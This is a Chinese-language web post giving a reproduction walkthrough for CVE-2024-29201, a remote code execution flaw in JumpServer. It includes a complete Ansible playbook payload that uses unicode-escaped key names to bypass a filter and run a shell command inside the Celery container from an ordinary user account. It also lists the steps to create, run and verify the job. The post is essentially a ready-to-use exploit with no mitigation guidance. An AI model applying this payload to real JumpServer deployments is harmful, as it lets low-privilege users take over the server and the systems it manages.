JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

登陆创建的普通用户账号，进入作业中心-模板管理添加一个Playbook

点击创建的Playbook名称，切换到工作空间，输入以下内容：

[{

“name”: “RCE playbook”,

“hosts”: “all”,

“tasks”: [

{

“name”: “this runs in Celery container”,

“shell”: “id > /tmp/pwnd”,

“\u0064elegate_to”: “localhost”

} ],

“vars”: {

“ansible_\u0063onnection”: “local”

}

}]

图片[2]-JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

点击保存。保存完成之后切换到作业管理页面，创建一个新的 Playbook 作业

图片[3]-JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

playbook 作业详情如下：

图片[4]-JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

点击保存并运行作业

图片[5]-JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

图片[6]-JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

进入 Celery 容器，查看 tmp 目录下是否存在 pwnd 文件

图片[7]-JumpServer存在远程代码执行漏洞(CVE-2024-29201)-棉花糖会员站

文章版权归作者所有，未经允许请勿转载。

THE END

JumpServer存在远程代码执行漏洞(CVE-2024-29201)